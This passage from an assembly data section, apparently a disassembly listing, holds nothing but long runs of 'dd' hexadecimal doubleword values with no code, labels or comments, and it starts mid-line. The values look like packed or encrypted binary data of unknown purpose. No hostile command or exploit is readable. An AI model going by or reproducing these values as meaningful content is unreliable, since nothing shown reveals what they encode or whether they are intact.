72C19DCBh, 301CB211h, 7F009C5Fh, 0A97349FFh, 48193F4h dd 0BD90DAC7h, 0D3F78247h, 32CD9F82h, 0C8940F64h, 9B96604Fh dd 2411ACh, 0AF8D8CBh, 881DDDF6h, 0A7096D7Ah, 469B3656h dd 0EA8BF2D6h, 0A6B62E5Fh, 0CE4B6FE3h, 19444316h, 1E0459B5h dd 68955099h, 99B1722Ch, 1D4DF228h, 96184D7Bh, 0BD51A467h dd 0BF100ADDh, 719850C8h, 0A776D716h, 0E1B22061h, 291C1E66h dd 28065685h, 913ABF04h, 292C852Fh, 0DE0B19Dh, 0C5853EC7h dd 5FD66D4Ch, 960B935Fh, 0CD9643CDh, 9401DC89h, 932C5D2h dd 8269062Fh, 8C9332FDh, 7B15878h, 7877B49Eh, 0AB0F0BA1h dd 48B0F85h, 0AD016A51h, 6CB8EDh, 0F93C4667h, 0BA0E072Eh dd 509B3B98h, 759D0904h, 9C8AEFBCh, 0CAB742CFh, 80CA1593h dd 0F80A2F5Ah, 0EB659D31h, 82C96CA6h, 5B2C0DFCh, 74B32C07h dd 7A011946h, 0B96C9C7Eh, 48131E5h, 88A0E3D3h, 78BA813Ah dd 25630420h, 0E33E2A4Ch, 13011623h, 0C88A9823h, 0C20F96Ch dd 7049D8B4h, 6AA3499Bh, 2DB293h, 7ACE21E0h, 0E4A59DD1h dd 3BAB3C11h, 4D3DEC80h, 0D635A07Bh, 9529BB09h, 5964C015h dd 2E859050h, 529C1155h, 55F16385h, 0C29780ACh, 80450432h dd 0C80AB42Ch, 0E5C9E118h, 6018E489h, 2CEB6A2Ah, 8353023h dd 0EB280799h, 961D6120h, 1E4440B4h, 4D74DE83h, 38202A00h dd 4EF10179h, 57DF315Bh, 0A5326942h, 94AFC1EFh, 0D4521F33h dd 0BC8CC59h, 57193C80h, 0E6B64ED2h, 7F730BD7h, 0ACB8F50Ch dd 8B880288h, 38C9F4CAh, 2FCBFFF6h, 1A2328h, 0F5E18CDFh dd 794EB617h, 1289248Ch, 0A210958Dh, 830B32A6h, 9208518Fh dd 0F12D88FAh, 0F3152B00h, 0ABFBB08Bh, 2E85EAD5h, 45F82DCDh dd 1EAA5E8Dh, 428E66A3h, 82091215h, 52FDA25Dh, 8024F044h dd 0FC0BF181h, 5155FBCCh, 0E88A8B52h, 0AFB71289h, 2BBDA080h dd 0C4113E31h, 0F28E1EEh dd 356563BFh, 80580B59h, 5B51F4D9h, 3EBA6680h, 25F38B78h dd 0BE6A8D01h, 285C4D12h, 0DE9A01DCh, 0B248E4C6h, 0C483CBB5h dd 830FE013h, 0C41ECF72h, 0B9D695BFh, 0C11D6C83h, 0F2B9E067h dd 3904148Bh, 0AA905D5Ah, 0D644D3Ah, 813E8CC0h, 4048D200h dd 84194BE2h, 0C4342EFEh, 0D9477EACh, 8117D9F2h, 0D72D0DBFh dd 0EFA26038h, 82B72134h, 4DB8CAADh, 3BA72F12h, 125DDE04h dd 0F7CF4013h, 0D88B837Eh, 0BF992C4h, 0D194530Ch, 39F6296h dd 434C74F9h, 20066C6Fh, 86ECFC86h, 850F5B15h, 14E69DE2h dd 0C0F8EDA7h, 8EBADCD3h, 0B5E2514h, 0B5EB44A8h, 994B294Bh dd 0B15859F9h, 39174h, 0AD50A7B1h, 20EDE098h, 8A0BE2A5h dd 4D606AD5h, 3CECC03Ah, 0A3978D29h, 0A2806020h, 22F61FAh dd 2A48B711h, 90B7F810h, 862D74CBh, 0E0406DD6h, 0F5019556h dd 8B403763h, 850843CEh, 0E93114A2h, 9CE1E8CFh, 4A07EC0Dh dd 25D3C85Fh, 0D0037703h, 8668261Fh, 0E9C0A087h, 6953812Ch dd 25CCB901h, 0BCAB8C7h, 0B9D473FEh, 8CA67659h, 0A4C2AC09h dd 3EB72DD9h, 745DEEA0h, 6D471416h, 8202D6B0h, 8107126Ch dd 9B1A17C1h, 0C0DAC838h, 0F818408Bh, 0C925C77Ah, 404E1A19h dd 0B926EDFEh, 411AE47Bh, 8C3D95B5h, 8860FA4h, 0DD4201A3h dd 29590910h, 3DF78A02h, 8B18A496h, 0EA092054h, 4DC65E4Eh dd 7BBCB83h, 80D0DF04h, 44E3B5EEh, 31F39556h, 60876BF0h dd 0BC4091B6h, 390DEDF0h, 74B592h, 0F7972591h, 776A2ED2h dd 0FD8B5E0Bh, 783990E9h, 1D8978AAh, 40F373ABh, 0BF265D40h dd 460D973Eh, 0B48CB161h, 14A23833h, 7470D731h, 520540B9h dd 0F5126DB0h, 5EA65907h, 1F0BC6A1h, 2E0BC684h, 14A26753h dd 0B857B630h, 13D12040h, 0B9665F06h, 0B9BE0BF4h, 181579A1h dd 1CF45C8Fh, 3AF6D31h, 0F1EADA95h, 2D1AA971h, 0A148F035h dd 5BF2A583h, 2B188D1h, 17CF303Eh, 0CC08870Fh, 2124500Dh dd 0E7590340h, 0B2196B32h, 2016CD7h, 0F1962C0Dh, 0EE530E64h dd 0B17E8356h, 78A8BAECh, 32411E0Ah, 9A6D2781h, 0BD4FEFC0h dd 678402F0h, 889AF3EEh, 0D005E46h, 0F005E4B9h, 168633Ch dd 846A1DF7h, 23B3DE91h, 7DDF12Fh, 7DD841Fh, 0F88B012Eh dd 5F6BB650h, 0E9F97A82h, 0DF640252h, 97133E3h, 6DEC038Ah dd 277FE0C0h, 0DA14809Ah, 80F5E859h, 9F9D737Dh, 5AC1F27Ah dd 8217C224h, 6040B86Ah, 0DE1258DFh, 2C3367E9h, 929010C8h dd 62E9201h, 0ED001923h, 72C09650h, 0F2810716h, 29BF17A3h dd 246D1182h, 0E5A94005h, 3102BDB8h, 0B7515698h, 10F15CF7h dd 7C6F4204h, 346AD319h, 0E25575CCh, 226858A8h, 0B0C1256Dh dd 7F8111Dh, 99621660h, 0DB8C01F1h, 2004C3F6h, 5E8AFC89h dd 6856601Dh, 0A823B852h, 46AC29Ch, 710DEC1h, 0FB816476h dd 42F5B691h, 6847032Dh, 0EC18AC9Bh, 8B048A79h, 4F401EF0h dd 7B266168h, 6536BD2Fh, 0ACF15BA1h, 280C227Dh, 29851856h dd 807575C0h, 64986841h, 3EBDDB87h, 60E2B8Fh, 684C0368h dd 8092E7A4h, 8B2920B4h, 123F889Dh, 9382045Bh, 1554AEFAh dd 3C78415h, 43D8B9F5h, 702500Ch, 30252685h, 6146CB93h dd 0CA2E47D0h, 114A8BB5h, 45426721h, 0A5B6C068h, 3930CE92h dd 66F6FC14h, 280C026Ah, 9B3275C2h, 0A1B46860h, 0C8CD44Eh dd 1825D8B3h, 96B5DBh, 9AEAC281h, 31603316h, 1DFD8513h dd 4155A4A4h, 33977003h, 1EC3A20h, 0B10163BAh, 43E9500Fh dd 1BD85D56h, 6D005F35h, 4F19C4E1h, 5F0F7E47h, 85F8C88Bh dd 14080920h, 7435FF64h, 9D1E9C4Ch, 2589CDD4h, 0B29163FFh dd 88DC3015h, 82695EBCh, 7A07CD5Ch, 80278075h, 0BA8402EAh dd 7686F93h, 1EDDF360h, 3700418Ah, 0F28209C2h, 295221EDh dd 413C92BDh, 89132407h, 32751E9h, 760EB280h, 1185420Ch dd 218D0B20h, 1E78828h, 48B53DC9h, 0B8DB335Ah, 0A50D44EFh dd 18725A00h, 977769AFh, 8BC10B59h, 1E056E9Eh, 89D32075h dd 31637195h, 8E60C045h, 297E8094h, 0F08154B5h, 309DEE61h dd 400F2EE5h, 7093F0Fh, 188F640Bh, 4BC48390h, 8DF31104h dd 6B6E4Ah, 7084BAC9h, 5C831F09h, 457863FBh, 4281D930h dd 1BF16039h, 458D0182h, 9DBB002Ah, 0C3CC0A7h, 9D402A61h dd 54009486h, 161C69B2h, 1FEBFE6h, 0A1C695DDh, 9279E906h dd 81F15625h, 0F159CD93h, 0BC09EBAEh, 0FA81C70Ch, 3FF6748h dd 15B8A683h, 0C3AC0450h, 305C8B31h, 29C2E855h, 0A8A8F0D5h dd 0A2838B93h, 5B9F821Bh, 4D89053Bh, 944F5D0Ch, 0B48506FEh dd 27C0B9DBh, 587A4F16h, 8DE23E58h, 47F974Bh, 161CCD54h dd 0FD9D8305h, 61599A90h, 78C5B350h, 0C5E6B4CAh, 40893F2Fh dd 2EDBBADFh, 109C2337h, 0DC613212h, 11F2280Ah, 422E6204h dd 13096EF8h, 2D53ED80h, 0CD6A3A08h, 1427B17h, 5B6FA68h dd 0B84240B9h, 5526D704h, 81004748h, 65BB0DF7h, 868502D4h dd 34B640BAh, 0E8228355h, 0ED0C3B5Fh, 5868FB82h, 0CEFE564Dh dd 0CA28E588h, 2EFC71A2h, 5C68D920h, 86C8000Fh, 0C08B9816h dd 9AB59529h, 4262E790h, 0AD10043Dh, 2B218405h, 201C72B9h dd 28B5CC23h, 1269279Ch, 0A900A1ECh, 7BDEC991h, 181E3BDBh dd 9AFC4FC8h, 88AA3AE9h, 2E31F410h, 0F0353838h, 45C001ADh dd 1656378h, 6F697470h, 0CD49206Eh, 6D72D866h, 410C6151h dd 0E5656C15h, 202CCC73h, 641D08DFh, 0BE68744Fh, 8F6C3673h dd 0F3697733h, 0D363F367h, 7D73FB64h, 2DF7F328h, 5C6B4061h dd 2A2EF6C7h, 20196D74h, 6B166854h, 75ED79D9h, 0DF0D0AFCh dd 8C01E904h, 73467028h, 544362C0h, 0EB2B4C52h, 9ED166FFh dd 97CD1E69h, 8FB1A064h, 517970A1h, 0E5696C08h, 7261FC62h dd 36296428h, 65564280h, 99A473FAh, 25FE3DFEh, 431E94F3h dd 6B630587h, 0F484E49h, 554FE164h, 3F501C54h, 1DD16F72h dd 3B680F0Bh, 0DE6C80Fh, 0E3D7469h, 0DE1E420Fh, 688E5054h dd 0F8E91E18h, 104910CCh, 12D84E9h, 0E3880512h, 8AB3ACB3h dd 6819074Dh, 95708025h, 2419D9F3h, 7E031E2h, 2C075A19h dd 61164CD0h, 0C2C324A2h, 4AC26559h, 250A12B1h, 73C4F021h dd 0C4FC216Bh, 4106BC0h, 35DEB23Ch, 0C78843B8h, 85F477D6h dd 0F8ACCF91h, 0A9D61087h, 41B10C18h, 6EA2F90Bh, 22810621h dd 579511EEh, 2501E40Dh, 0AB2007C9h, 8163C519h, 0D8B1AFC2h dd 8D857838h, 187BB295h, 40283452h, 3BD42EC3h, 2FD909FAh dd 0C444D4Bh, 628A5540h, 0C31322F4h, 0A621F84Ch, 42118C65h dd 0E4F02150h, 1EFC2254h, 43705842h, 485C883Ch, 53DC4AF0h dd 0AFB40DEAh, 0CD056845h, 210C5A26h, 0F4103BF8h, 43122ADCh dd 0A1F021FCh, 490A2888h, 1E851CE6h, 0D907423Ch, 0CDDEE913h dd 656A2458h, 2D082440h, 0DE383919h, 0A8A60112h, 0E260C112h dd 301AF2FFh, 8E010C88h, 322D39E7h, 5D7BD68Bh, 0EF86121h dd 0EC28F04h, 661F1704h, 0B77025FBh, 0CC1803F6h, 0B44E83B2h dd 0E6801B9Bh, 0F987A1A9h, 7AB25702h, 71CF8BADh, 41304406h dd 7EB7BE66h, 0E952046Fh, 6B30F1A6h, 5300DC6Eh, 0C8C5B238h dd 0B70919DCh, 71DF8CAFh, 7443007Eh, 0D86677E2h, 0EB4F0D1Dh dd 4C7F744h, 9D678F92h, 8F14913Fh, 0DCD680E2h, 685F8699h dd 91C41DBFh, 4D190007h, 6E939D1Fh, 0EA810011h, 10C18C01h dd 0E9A0595Eh, 0EC4E42CFh, 0B72A0D6Fh, 73C80136h, 3A6F5B7Eh dd 80606C61h, 3F52A4A9h dd 0B8B057Ch, 870FBBh, 935A5956h, 0BA45250h, 90B531ECh dd 0D99A630h, 2A10C2FBh, 585AFC2Bh, 0DB06BCE5h, 0E71888h dd 0E994EC37h, 9C183988h, 0F1CEA600h, 6080859Dh, 83564FD9h dd 784B5E25h, 15E3E9B6h, 4B8F4007h, 54E9C754h, 7A702517h dd 0B0447A25h, 705ABE85h, 963A48F9h, 0CA6E8B12h, 5E2B5E8Bh dd 72001C23h, 8839180Ch, 13AA7069h, 0E6C48B8Ch, 7855E0E5h dd 0CDC909AFh, 7D5BEB01h, 802BE679h, 92AEEB4Fh, 1F0CE831h dd 0B6C0B4F1h, 18A20EACh, 656628FFh, 0EE712C01h, 615F6F09h dd 0C2EC68E9h, 600C00FAh, 750940F5h, 0A69C4FDEh, 9757FDCh dd 0B1867D4Ch, 0CE007A64h, 8077AC21h, 748FFC62h, 649B4B99h dd 216EAAFAh, 39BE323Fh, 81228793h, 300BF91Bh, 726B84E0h dd 8030512Ah, 55D9A1C3h, 0D8BC61F2h, 72D4BD86h, 1234C824h dd 800AE888h, 0A41DE1E4h, 471CD2C6h, 6002DDCBh, 72B85961h dd 0F28B0B5Fh, 0EE44E7FFh, 7BDBBB00h, 973AFD26h, 0C3B90462h dd 0F0570238h, 789E1085h, 40B60F60h, 0C8FE2001h, 0A2D6B045h dd 785F0212h, 61BA057Fh, 31684A1h, 0ABD1C9E8h, 0E7B060CBh dd 720E1B01h, 7C0BF2Ah, 2FDB3E7Bh, 0F6D22868h, 42D69496h dd 8EB9F50Eh, 4CE69BB8h, 0CB896C06h, 83B4D94Fh, 0F5FA988h dd 8823C2DDh, 511B3F00h, 696D1782h, 98A30504h, 0DB0E4F08h dd 0F95F26E3h, 613DC7B0h, 818BF497h, 25B9AE94h, 0E2800018h dd 37FF3AD8h, 5EF2D289h, 81C32200h, 0D71D8CC6h, 0F6812265h dd 1757336Eh, 2EF2271h, 78975412h, 8A46524Dh, 91082A13h dd 580035B7h, 0B7CB8156h, 7B1F83D0h, 0D35E078Fh, 9E7FEF80h dd 6FB33B02h, 11F8AC14h, 0E10BBA66h, 61E98399h, 82161CB0h dd 2960C67Bh, 8056B911h, 91D400CBh, 0A070BB4Eh, 1200F810h dd 88205A43h, 0CE3624B6h, 0FB02D2FEh, 0EBD084E9h, 0B22BA800h dd 0CF4993E6h, 837700A5h, 0C9E54581h, 0CC52AE37h, 2F60E004h dd 1710C0ACh, 5BA62125h, 21CD4637h, 0CE954980h, 3D5E0708h dd 0C0C58ECFh, 836A6B47h, 0E8ED3906h, 7848A675h, 64847C8Ah dd 8C12818h, 0CD537E7Bh, 0E8EC0350h, 2854776h, 0A0345821h dd 0E4E070F2h, 7963CD50h, 18BE7618h, 41216139h, 0CD3070B8h dd 34C718D9h, 3239C3A4h, 510E7630h, 405FA9D4h, 0CE7391AEh dd 0E88600EDh, 5C8150D0h, 890CD6ADh, 91E63233h, 0BF172A1Ch dd 25F098h, 4753904Ah, 0A42043CAh, 0BCBAA70Ch, 1D83E040h dd 11224D5h, 9186A8B2h, 0DE199F69h, 0A65BF587h, 7EB954E0h dd 0E7C40775h, 0C0FDCDA9h, 78472538h, 3F1F9A00h, 0E3D092E4h dd 80D630B0h, 1A0ECE09h, 0A5952A00h, 0BA8CA436h, 4CA757BBh dd 0AE388300h, 923C6B24h, 4844E0A4h, 481A6120h, 90974998h dd 0C5228EF0h, 0ACC7472Ah, 57BD3E00h, 303D60B4h, 5EBF06E5h dd 487349A9h, 0BD828406h, 8420B3EFh, 9250EE0h, 658F2FA6h dd 4018270Ch, 0DC67A074h, 2081E521h, 7182D747h, 89F9448Bh dd 0AF0C888Fh, 0D501DF48h, 6D5BC583h, 71832676h, 0CC78B7E9h dd 17FF822h, 3E322DF5h, 0C4C83CC0h, 0D66775AFh, 66301DC1h dd 74686CFh, 0CE7E9E6Dh, 0AF404CA5h, 0B143E489h, 0A36A8A33h dd 2297D890h, 0EE00A210h, 9925E686h, 6B4AF12h, 4777B6D4h dd 361DC1CEh, 0D3094349h, 0E3741044h, 0DDBCA8D4h, 47140F1Dh dd 9126C06Eh, 0A78799Eh, 5D070F90h, 0D4C4864Eh, 66ADB390h dd 0F19609A0h, 2C0495A5h, 90254046h, 0D5E10Bh, 0FBEE98Fh dd 0FE09AF3Ch, 2960CD15h, 7CD300C0h, 5F769F8Fh, 2F1F0398h dd 3945D45Ch, 1CED2124h, 5951BC8Dh, 59868817h, 8FCF0011h dd 3556B3E3h, 0B6E232C5h, 4549D4A6h, 513835A8h, 8C546062h dd 1B421E4h, 9405C633h, 412C51B3h, 3176B00Ch, 3CD0100Ah dd 0AA485FBDh, 0D250F20h, 7FA120B2h, 1C279F03h, 0D5FBB04Ah dd 0AE8F14CAh, 4C233A5h, 27EA4430h, 90B94EC1h, 0C04275F0h dd 62AF17A9h, 6033EEDh, 33EF57A6h, 0FD7FB8F6h, 0C2763007h dd 7E39C991h, 7098CA00h, 3372C7F0h, 422F32Ch, 0A6760F0Ah dd 0B9105E28h, 1BE88639h, 7DE7190Ah, 0FF022CA7h, 0A0E04733h dd 54AD30C0h, 0BF4830A9h, 829FC561h, 5FB7DF01h, 0F0C1906Fh dd 53211C22h, 0D8E10E80h, 50308826h, 427198AEh, 0BD1E10F0h dd 31891864h, 2108D8F6h, 0FE10F142h, 0C17716A5h, 0B5F13029h dd 1ECE1180h, 0A8EA38BBh, 2DDE6B00h, 33AEA58Fh, 2CC85042h dd 71201FF9h, 41F031C4h, 0E0902538h, 3E03EAA4h, 3C563AEEh dd 0B68104FEh, 12BBD5FBh, 8EA90448h, 8281F6CEh, 84CB5A23h dd 7C60ED20h, 271AC890h, 796D09FFh, 0A880DD68h, 7517CEBCh dd 4126B202h, 0C00BC0BDh, 243A2578h, 3CFAEFh, 0EA9E7288h dd 0AC140640h, 37443457h, 86495119h, 631F3BCh, 0E223B586h dd 551380C0h, 6C4F6154h, 0BA1A86B0h, 44830818h, 79137EEDh dd 1FD13C18h, 0E65F00E2h, 3836D3Dh, 94A4A70Ah, 30777330h dd 0F0565E82h, 10986AADh, 3EFD11B4h, 900D1B55h, 91DF9A18h dd 3C60578Ch, 0F3CF0192h, 0A6012543h, 489BD04Fh, 0C036762Ch dd 0FB57D080h, 3C3BA939h, 0A1FCB780h, 7510A0B0h, 3215BE06h dd 3F8DA29h, 25505F4Fh, 0E470E70Fh, 2789ED8h, 4408485h dd 0E4E092h, 86764602h, 0C4BCBB15h, 0C8475888h, 0ACAB5E9Dh dd 585E0B64h, 4376492h, 0C46A4706h, 90752C10h, 0CDE1854Ch dd 40DC1EE4h, 836CBB8Dh, 0FF2625C6h, 0D0001493h, 0E1843B4Ah dd 29EB6459h, 0FC4021A9h, 989FC817h, 0E31103FBh, 0A43A4Eh dd 3FFD2B32h, 0D0839AF3h, 5FFE5E1Fh, 0B5D1E780h, 0E35996Bh dd 1E0A5647h, 8D30A420h, 0A10E3375h, 0AC786Ah, 0BCD6A9DCh dd 8812008Ah, 0CCB4E0BDh, 0F97C7491h, 1DC4C607h, 0D300C32Ah dd 77AF46h, 59986760h, 0C02B5396h, 9C1D8300h, 88899399h dd 0B00C046Fh, 8002FF8Eh, 5006633Dh, 566D2300h, 1416C113h dd 0D094A3CAh, 68A7ACh, 5EAA804Bh, 304EDEE6h, 7BC758C7h dd 4827ABE0h, 70CF009Ah, 2647A6A0h, 9D0112C9h, 80E67902h dd 0FBD8F52Ah, 5EEE008Ah, 0DB671E7Dh, 3409E497h, 80202722h dd 462ACD87h, 79DA1CFCh, 0C0A3DCB0h, 9AD5BE11h, 28389CABh dd 9BD18A07h, 98BFE856h, 0A7799948h, 0BE270046h, 8315C28Eh dd 5E05FEE0h, 7645BF14h, 6F73A04Fh, 0E84C078h, 69B224h dd 0D8EE57F7h, 42C0BBCCh, 0EA410C00h, 0ACDB8CE7h, 2E690035h dd 0F3315A92h, 6C0FE4D3h, 0E0DC0B88h, 0F9A064Ch, 14AD50EAh dd 4FF1000Dh, 93512D01h, 0B93F411Bh, 470980B7h, 0DC75E57h dd 0B6A90719h, 69A19AF0h, 0FE07B00h, 59383C36h, 9500F816h dd 35B4B8CBh, 0F23CD29h, 2BC74A1Fh, 43A0B14Fh, 0F580AF6Ah dd 708BE0E9h, 0BE508400h, 8C42F730h, 59580075h, 0AFF29CB8h dd 3200F06Bh, 0F7F418F9h, 0A01E570Fh, 36CC8Fh, 0A42347D7h dd 9410FADDh, 0DA4C8D01h, 2753AFA5h, 1F3CFC24h, 81DFD2F4h dd 75BDCF5Ch, 490020E5h, 0C6D39610h, 369F001h, 80D86359h dd 4FF85119h, 0D65619h, 0DAA3107Ah, 9523B42Ah, 0DEC97003h dd 0E8AB4F93h, 0F5776Ah, 529AFE68h, 92F87814h, 38018926h dd 0AC3F2200h, 7F6CD084h, 795C3F55h, 0AA111C7Ah, 0ADECC9D8h dd 561F0400h, 0D204553Eh, 0F7A40FBCh, 693281C0h, 3F00020h dd 8F7B8C18h, 2A01AA6Ah, 0C68E44E1h, 94F86670h, 0E61D0059h dd 568CA1EEh, 74F69FD8h, 26A51C01h, 6E3CF872h, 88013321h dd 28708EA4h, 925C7786h dd 0FA6D0064h, 8FD39594h, 7890E713h, 4CF1E324h, 29488D8Ch dd 132C409Ch, 1BB35A07h, 9BC01DD3h, 0BE5952h, 8E0FEB89h dd 0C0D2FD51h, 2F1BE201h, 43EFC144h, 0BF324500h, 70540800h dd 6A8DB447h, 3B4100CEh, 8A0A209Ch, 0FB059364h, 9F8CF7B2h dd 5059FC04h, 0C8B64883h, 7A4FE920h, 0EF732CC3h, 4BC00D3h dd 6CDC08F1h, 23CF1100h, 8F1AF9C4h, 4824FC3Dh, 0E005B436h dd 69AC50h, 58FC22D6h, 0D40093ECh, 5C029AA7h, 0E60738h dd 39BEA2B7h, 1D01538Eh, 319F1F00h, 0D92B7586h, 0FB4D00F5h dd 944FD248h, 0C890DFA9h, 6B722401h, 0EAA2B087h, 0DB8880EEh dd 1E60401Bh, 4415835h, 0D0D0F1ABh, 62F54810h, 0EAFF310Eh dd 5B3407B3h, 5E370029h, 8EBDB2h, 5D18057Bh, 0C6BA499Dh dd 2000DCB0h, 90B6E788h, 0E81F21h, 0CC0C696Bh, 5481AA53h dd 0B8409405h, 0D807F208h, 0AE10D6F7h, 0FC269E9Dh, 0F397004Dh dd 0ADE549FCh, 791FE2EBh, 0DD49275Ah, 333480FBh, 0F31BF8h dd 1A43D515h, 0F620470Bh, 7F120100h, 6DE6D68Dh, 0DEE8AAh dd 0A9145053h, 5D87A8E1h, 97C97900h, 0D65A69CDh, 0FB840166h dd 0E05B2EAFh, 372170E7h, 0C0DD0100h, 34272DC6h, 8D510095h dd 5CDFCBF1h, 0D8014B9Dh, 0DBA8FA0Bh, 9CEC930Dh, 0C0E4F433h dd 0A6B92A21h, 62CCED4h, 7002265h, 0B4A474EAh, 7C9904DEh dd 80B65A16h, 0D59761F1h, 69885601h, 5BC1C933h, 0F7E820h dd 0D20963B5h, 0AF5CA8A9h, 7BD54800h, 8F96369Fh, 0BE870BAEh dd 0AB809865h, 185FF7DAh, 0B409EE00h, 0C7D740AAh, 7C109BAh dd 90002D8Ch, 46E763B7h, 0FE70B301h, 36555406h, 395D0D8h dd 0AA664059h, 0C567F2h, 0CE121DFCh, 0F40094A2h, 0E4053261h dd 1D4C4E0h, 0E95D667Bh, 20D0A588h, 0C1279B7h, 0C81E981Dh dd 0A2493F87h, 9945D00h, 49D5D0Bh, 29077B00h, 0ACCB831Ch dd 0A150D709h, 0B200029Ch, 0DB18E8D4h, 0EB0F07FEh, 0B04A3CB6h dd 148F2239h, 36AD7302h, 408CC5C3h, 3C12B358h, 96042BA1h dd 9117D96Ch, 0C19A0DF8h, 8204347Dh, 0F88F4102h, 401698DCh dd 0E817901Ch, 2EAECE2h, 1315EFDh, 0C0C0ACE8h, 2E003F39h dd 2BB89765h, 0F141AB5h, 7BD12F8h, 8029600Bh, 0D1B9AC00h dd 8C004045h, 25317C1Fh, 94ECAFh, 109C7F6Bh, 26DE0C08h dd 7175BF00h, 0E2448B0Ah, 0CE2700EFh, 35736288h, 5B04D2B9h dd 1BF03033h, 0E2E67CC3h, 0EF8087D8h, 2FB06B5Fh, 39DFA0E4h dd 4F5427h, 0EF6F12D7h, 0F49A4CE7h, 0F77C7703h, 0D30B4BA3h dd 4A1E8049h, 578900AFh, 2A75F44h, 0B8A1E913h, 0CDE0EFBDh dd 0C601E65Bh, 0EAFE8295h, 85C0A073h, 3E1132Bh, 6DD60F7Eh dd 15AE9580h, 0B9005F4Fh, 0BD96D390h, 39D9C1BBh, 29619ADh dd 5BC9006Ah, 0E1805973h, 53F3BC0Fh, 0AE0F4BA2h, 0A3836064h dd 7DE9612Ch, 78B20348h, 45441376h, 0DA1282C8h, 89669C00h dd 0B7E0ABCBh, 0B64F48BBh, 0B8C52600h, 0A0E7B41Fh, 81836F01h dd 0EAA5F696h, 0E9F4B821h, 92BCF2BDh, 0EFBF401Ch, 1D9DB201h dd 5925FDABh, 3D75D6E4h, 1085282Ch, 7B8089h, 0D1F72DF1h dd 0D2000ACBh, 2C77A0EBh, 5CF581h, 0BCCDA1E7h, 9EAF41C7h dd 12982500h, 0E1BA02FAh, 0B9620955h, 7040C971h, 3C495A4Dh dd 7ABA010Ch, 82B10DA8h, 63C0E1D0h, 8AB01880h, 0AEDB1011h dd 18009A3Ch, 5E153FC1h, 2158DF3Dh, 0E12502ACh, 8072B8A5h dd 54491930h, 0A3B50092h, 6539EF3h, 100E2F30h, 869050C2h dd 550AEDAh, 4E4DB116h, 0B8480586h, 4B240A6Dh, 83DA07FBh dd 4DDB41B5h, 90144385h, 0F86CBDF1h, 0AA0C88A9h, 0D0F82901h dd 4EE100C8h, 2E71B8D5h, 12608DC0h, 3E89ADB0h, 0CD450670h dd 49B01A60h, 70CAD430h, 94FA64C6h, 48B408D0h, 0DE61E104h dd 4485E4A0h, 192024BDh, 14A85094h, 0A1DC445Ch, 16322284h dd 1EBBBC45h, 46DB1900h, 7BC86BB2h, 58052301h, 0A8CB92EBh dd 671720h, 0BDC9EF52h, 8EAD90C3h, 16024E00h, 85289C26h dd 594B07Dh, 39048062h, 0B49080E2h, 5C2E1A82h, 0DD84306Ch dd 0E900E6A2h, 9679AFF9h, 30D01A26h, 0B8682400h, 375E54DCh dd 0F429C849h, 0D440D12Bh, 0C9B064AEh, 8D475900h, 0EC84DFEAh dd 0B068066Bh, 68A71AF5h, 0F2A45300h, 2CB6B898h, 0A3B706B5h dd 46F6DB2Ah, 53D7B300h, 0B1558F4Bh, 3FE0009h, 21E4BED1h dd 0BEA0523Dh, 0AC00A6E8h, 1751E556h, 0E2A7735Ah, 7238B850h dd 543139F3h, 0F0586728h, 82EF001Dh, 7173C1A4h, 4424F238h dd 0B60018C5h, 8D10775Fh, 76ED0045h, 6799D51Eh, 0D002170h dd 30B5FED6h, 6F754Ah, 0B01C2C78h, 7A709DEBh, 80049138h dd 0D3EC03E8h, 12F25D77h, 0ED995Ah, 11BD8BDCh, 91F0418Fh dd 80E8535Ch, 0EB7B4038h, 0E17D009Ch, 4C280701h, 6B1CEEE5h dd 62813948h, 124D8FB2h, 8FACCC4h, 0B8F98DFBh, 2CDB0Fh dd 0EB3F8904h, 8FC50087h, 1B756C9Fh, 0E400EDB9h, 5072B033h dd 79D2520Dh, 0F3023ECEh, 0E5D58D00h, 61B8FAB2h, 0A31058B0h dd 0D000C899h, 0ABEF2BBBh, 0ED0BB430h, 9E88040Bh, 774C009Ch dd 0E2A11C30h, 0FCA4D56Ch, 0BCA1027Eh, 10B4E861h, 0D41EAC07h dd 0BA90BD16h, 3C8E3E82h, 2ABF4CF4h, 88338595h, 0CE75B101h dd 0F53E0E82h, 98282497h, 0FAD50B00h, 6243BE28h, 9E0801A3h dd 0FFAB716Bh, 0B9582075h, 0CB7F6EF2h, 0DF5C0200h, 500A853Eh dd 0B1A30013h, 0FBECE59h, 0C13160C6h, 7BA1F615h, 288FAF0h dd 6993FB97h, 0E2871A76h, 0B3410E56h, 8BE1F317h, 0EE3E98h dd 0A0BA8BF8h, 1D0500FFh, 0D77BD1F0h, 139B93Ch, 8D5700ECh dd 0CDBDB037h, 829901F7h, 0AD683219h, 767820D6h, 8E722500h dd 0A1CB9FDFh, 0B22A00B9h, 113C690Fh, 2F25FAC8h, 9B348106h dd 0D7600212h, 7289078h, 462D6934h, 8C20F9A5h, 0D6239048h dd 0AE06EE00h, 7CD34228h, 302701DAh, 0BA9A40E5h, 0A4C4606Dh dd 97E86B26h, 1E03B826h, 0A97610BCh, 87E8A31Ah, 3C81017Ah dd 7CEA616Dh, 3FE824FBh, 9F9E20h, 1F7379BDh, 0AA11B1EBh dd 0C696A203h, 0C00EB2h, 97C31420h, 1E5974FCh, 6A8FBB0Ah dd 39009C2Eh, 530A46E0h, 0BE8C1FDAh, 0DBC80CDh, 0F628C910h dd 372F1C79h, 17F40F85h, 5E50F30Fh, 5EB6AD40h, 3DA75A14h dd 160061AFh, 8AF0F53Fh, 38122FB4h, 53005C6Ch, 50BAB0DDh dd 27E244h, 0B8142CC4h, 599B321Ch, 8C0EF48h, 517CCBh, 0A757653Ah dd 4C766C90h, 0E2BE4A18h, 70D4B8F0h, 7020623h, 19A0DFC4h dd 2C165Ch, 0B8100CA6h, 3EC97605h, 4380BF61h, 9E64334Ah dd 450012A8h, 0C5650DD2h, 0E6250549h, 5A861EAAh, 72EF80F1h dd 35DC5BEEh, 0C1240B0h, 0E0C06292h, 12857388h, 4F6FDBh dd 95B133F2h, 0F5002968h, 13F907AFh, 8381B5h, 9424D5F3h dd 0A6780C43h, 5DC50807h, 2080410Ah, 1FA8122Ah, 4206903Ch dd 19FAEE73h, 0AD7E3CF0h, 31EAA109h, 7FF0A38Ah, 72ECD82Ch dd 0B7D60020h, 0F82E9623h, 530E26FFh, 6D697AE0h, 4A20B19Eh dd 0B6E480h, 8438668Ah, 13C0D7B0h, 98461F00h, 23BADB64h dd 85BB020Fh, 0F9DD8771h, 0E23EC2E0h, 755FD900h, 0E4EF3251h dd 0C8340B1Eh, 3C00E6C4h, 0DCD746F8h, 70004A98h, 36FA496h dd 12D5044Dh, 0FF36031h, 0E9427424h, 3840FAD3h, 0CCFA7F53h 